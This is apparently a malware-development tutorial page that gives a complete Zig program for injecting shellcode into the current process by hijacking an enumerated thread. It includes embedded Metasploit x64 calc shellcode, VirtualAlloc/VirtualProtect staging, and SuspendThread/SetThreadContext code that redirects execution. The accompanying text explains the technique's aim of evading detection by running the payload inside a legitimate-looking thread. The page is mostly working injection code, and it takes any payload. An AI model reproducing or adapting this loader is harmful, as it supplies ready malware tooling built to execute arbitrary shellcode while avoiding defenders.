Skip to content

Local Thread Enumeration

TL;DR

See the code example

This sample enumerates all threads running in the current process and hijacks one of them to execute the shellcode. Because a minimal Zig program only starts a single main thread, the code first spawns a dummy worker thread that simply sleeps in an infinite loop. Enumeration via CreateToolhelp32Snapshot then locates this worker so we can safely open its handle and modify its context. The C version of this technique usually finds other threads already present, so no extra thread is needed.

Hijacking a thread discovered through enumeration keeps its original start address and stack, which helps the thread blend in with legitimate activity. Using the created worker purely as bait allows the injected payload to run inside a thread that looks authentic, rather than in a newly created thread that clearly begins at suspicious code.

Code Walkthrough

main.zig
const std = @import("std");
const print = std.debug.print;
const windows = std.os.windows;
const WINAPI = windows.WINAPI;

// Windows API constants
const TH32CS_SNAPTHREAD: u32 = 0x00000004;
const THREAD_ALL_ACCESS: u32 = 0x001FFFFF;
const CONTEXT_ALL: u32 = 0x001003FF;
const MEM_COMMIT: u32 = windows.MEM_COMMIT;
const MEM_RESERVE: u32 = windows.MEM_RESERVE;
const PAGE_READWRITE: u32 = windows.PAGE_READWRITE;
const PAGE_EXECUTE_READWRITE: u32 = windows.PAGE_EXECUTE_READWRITE;
const INFINITE: u32 = windows.INFINITE;
const DWORD = windows.DWORD;

// THREADENTRY32 structure
const THREADENTRY32 = extern struct {
    dwSize: u32,
    cntUsage: u32,
    th32ThreadID: u32,
    th32OwnerProcessID: u32,
    tpBasePri: i32,
    tpDeltaPri: i32,
    dwFlags: u32,
};

// Thread context structure for x64
const CONTEXT = extern struct {
    // Register parameter home addresses (reserved for debugger use)
    P1Home: u64,
    P2Home: u64,
    P3Home: u64,
    P4Home: u64,
    P5Home: u64,
    P6Home: u64,

    // Control flags
    ContextFlags: DWORD,
    MxCsr: DWORD,

    // Segment registers and processor flags
    SegCs: u16,
    SegDs: u16,
    SegEs: u16,
    SegFs: u16,
    SegGs: u16,
    SegSs: u16,
    EFlags: DWORD,

    // Debug registers
    Dr0: u64,
    Dr1: u64,
    Dr2: u64,
    Dr3: u64,
    Dr6: u64,
    Dr7: u64,

    // Integer registers
    Rax: u64,
    Rcx: u64,
    Rdx: u64,
    Rbx: u64,
    Rsp: u64,
    Rbp: u64,
    Rsi: u64,
    Rdi: u64,
    R8: u64,
    R9: u64,
    R10: u64,
    R11: u64,
    R12: u64,
    R13: u64,
    R14: u64,
    R15: u64,

    // Program counter
    Rip: u64,

    // Floating point state
    FltSave: [512]u8, // XMM_SAVE_AREA32

    // Vector registers
    VectorRegister: [26][16]u8,
    VectorControl: u64,

    // Special debug control registers
    DebugControl: u64,
    LastBranchToRip: u64,
    LastBranchFromRip: u64,
    LastExceptionToRip: u64,
    LastExceptionFromRip: u64,
};

// External Windows API functions
extern "kernel32" fn CreateToolhelp32Snapshot(dwFlags: u32, th32ProcessID: u32) callconv(WINAPI) windows.HANDLE;
extern "kernel32" fn Thread32First(hSnapshot: windows.HANDLE, lpte: *THREADENTRY32) callconv(WINAPI) i32;
extern "kernel32" fn Thread32Next(hSnapshot: windows.HANDLE, lpte: *THREADENTRY32) callconv(WINAPI) i32;
extern "kernel32" fn OpenThread(dwDesiredAccess: u32, bInheritHandle: i32, dwThreadId: u32) callconv(WINAPI) windows.HANDLE;
extern "kernel32" fn GetCurrentProcessId() callconv(WINAPI) u32;
extern "kernel32" fn GetCurrentThreadId() callconv(WINAPI) u32;
extern "kernel32" fn VirtualAlloc(lpAddress: ?*anyopaque, dwSize: usize, flAllocationType: u32, flProtect: u32) callconv(WINAPI) ?*anyopaque;
extern "kernel32" fn VirtualProtect(lpAddress: *anyopaque, dwSize: usize, flNewProtect: u32, lpflOldProtect: *u32) callconv(WINAPI) i32;
extern "kernel32" fn SuspendThread(hThread: windows.HANDLE) callconv(WINAPI) u32;
extern "kernel32" fn ResumeThread(hThread: windows.HANDLE) callconv(WINAPI) u32;
extern "kernel32" fn GetThreadContext(hThread: windows.HANDLE, lpContext: *CONTEXT) callconv(WINAPI) i32;
extern "kernel32" fn SetThreadContext(hThread: windows.HANDLE, lpContext: *const CONTEXT) callconv(WINAPI) i32;
extern "kernel32" fn WaitForSingleObject(hHandle: windows.HANDLE, dwMilliseconds: u32) callconv(WINAPI) u32;
extern "kernel32" fn CreateThread(lpThreadAttributes: ?*anyopaque, dwStackSize: usize, lpStartAddress: *const fn (?*anyopaque) callconv(WINAPI) u32, lpParameter: ?*anyopaque, dwCreationFlags: u32, lpThreadId: ?*u32) callconv(WINAPI) ?windows.HANDLE;

// x64 calc metasploit shellcode
const payload = [_]u8{
    0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
    0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
    0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
    0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
    0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
    0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
    0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
    0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
    0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
    0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
    0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
    0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
    0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
    0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
    0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
    0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
    0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
    0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
    0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
    0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00,
};

fn waitForEnter() void {
    var buffer: [256]u8 = undefined;
    _ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {};
}

// Worker thread function that just sleeps
fn workerThreadFunction(param: ?*anyopaque) callconv(WINAPI) u32 {
    _ = param;
    // Keep the thread alive so we can hijack it
    while (true) {
        std.time.sleep(100 * std.time.ns_per_ms);
    }
    return 0;
}

fn getLocalThreadHandle(main_thread_id: u32, thread_id: *u32, thread_handle: *windows.HANDLE) bool {
    const process_id = GetCurrentProcessId();
    print("\t[i] Current Process ID: {}\n", .{process_id});
    print("\t[i] Main Thread ID: {}\n", .{main_thread_id});

    const snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (snapshot == windows.INVALID_HANDLE_VALUE) {
        print("\n\t[!] CreateToolhelp32Snapshot Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
        return false;
    }
    defer windows.CloseHandle(snapshot);

    var thread_entry = THREADENTRY32{
        .dwSize = @sizeOf(THREADENTRY32),
        .cntUsage = 0,
        .th32ThreadID = 0,
        .th32OwnerProcessID = 0,
        .tpBasePri = 0,
        .tpDeltaPri = 0,
        .dwFlags = 0,
    };

    if (Thread32First(snapshot, &thread_entry) == 0) {
        print("\n\t[!] Thread32First Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
        return false;
    }

    var thread_count: u32 = 0;
    while (true) {
        if (thread_entry.th32OwnerProcessID == process_id) {
            thread_count += 1;
            if (thread_entry.th32ThreadID != main_thread_id) {
                thread_id.* = thread_entry.th32ThreadID;
                thread_handle.* = OpenThread(THREAD_ALL_ACCESS, 0, thread_entry.th32ThreadID);

                if (thread_handle.* == windows.INVALID_HANDLE_VALUE) {
                    print("\n\t[!] OpenThread Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
                } else {
                    print("\t[i] Successfully opened thread handle\n", .{});
                    return true;
                }
            }
        }

        if (Thread32Next(snapshot, &thread_entry) == 0) {
            break;
        }
    }

    print("\t[i] Total threads found in current process: {}\n", .{thread_count});
    return false;
}

fn injectShellcodeToLocalProcess(shellcode: []const u8, address: *?*anyopaque) bool {
    var old_protection: u32 = 0;

    address.* = VirtualAlloc(null, shellcode.len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (address.* == null) {
        print("\t[!] VirtualAlloc Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
        return false;
    }
    print("\t[i] Allocated Memory At: 0x{X}\n", .{@intFromPtr(address.*.?)});

    print("\t[#] Press <Enter> To Write Payload ... ", .{});
    waitForEnter();

    const dest = @as([*]u8, @ptrCast(address.*.?))[0..shellcode.len];
    @memcpy(dest, shellcode);

    if (VirtualProtect(address.*.?, shellcode.len, PAGE_EXECUTE_READWRITE, &old_protection) == 0) {
        print("\t[!] VirtualProtect Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
        return false;
    }

    return true;
}

fn hijackThread(thread_handle: windows.HANDLE, address: *anyopaque) bool {
    var thread_ctx = std.mem.zeroes(CONTEXT);
    thread_ctx.ContextFlags = CONTEXT_ALL;

    // Suspend the thread
    const suspend_result = SuspendThread(thread_handle);
    if (suspend_result == 0xFFFFFFFF) {
        print("\t[!] SuspendThread Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
        return false;
    }

    if (GetThreadContext(thread_handle, &thread_ctx) == 0) {
        print("\t[!] GetThreadContext Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
        return false;
    }

    thread_ctx.Rip = @intFromPtr(address);

    if (SetThreadContext(thread_handle, &thread_ctx) == 0) {
        print("\t[!] SetThreadContext Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
        return false;
    }

    print("\t[#] Press <Enter> To Run ... ", .{});
    waitForEnter();

    _ = ResumeThread(thread_handle);
    _ = WaitForSingleObject(thread_handle, INFINITE);

    return true;
}

// Your existing functions stay the same, just add this new function:
fn createWorkerThread() !void {
    print("[i] Creating Worker Thread...\n", .{});

    const thread_handle = CreateThread(null, 0, workerThreadFunction, null, 0, null);
    if (thread_handle == null) {
        print("\t[!] CreateThread Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
        return error.ThreadCreationFailed;
    }

    // Give the thread time to start
    std.time.sleep(200 * std.time.ns_per_ms);
    print("\t[i] Worker Thread Created Successfully\n", .{});
    print("[+] DONE\n\n", .{});
}

pub fn main() !void {
    var thread_handle: windows.HANDLE = undefined;
    var main_thread_id: u32 = 0;
    var thread_id: u32 = 0;
    var address: ?*anyopaque = null;

    // Create a worker thread first
    try createWorkerThread();

    // Getting the main thread id
    main_thread_id = GetCurrentThreadId();

    print("[i] Searching For A Thread Under The Local Process ...\n", .{});
    if (!getLocalThreadHandle(main_thread_id, &thread_id, &thread_handle)) {
        print("[!] No Thread is Found\n", .{});
        return;
    }
    print("\t[i] Found Target Thread Of Id: {}\n", .{thread_id});
    print("[+] DONE\n\n", .{});

    print("[i] Writing Shellcode To The Local Process ...\n", .{});
    if (!injectShellcodeToLocalProcess(&payload, &address)) {
        return;
    }
    print("[+] DONE\n\n", .{});

    print("[i] Hijacking The Target Thread To Run Our Shellcode ...\n", .{});
    if (!hijackThread(thread_handle, address.?)) {
        return;
    }
    print("[+] DONE\n\n", .{});

    print("[#] Press <Enter> To Quit ... ", .{});
    waitForEnter();
}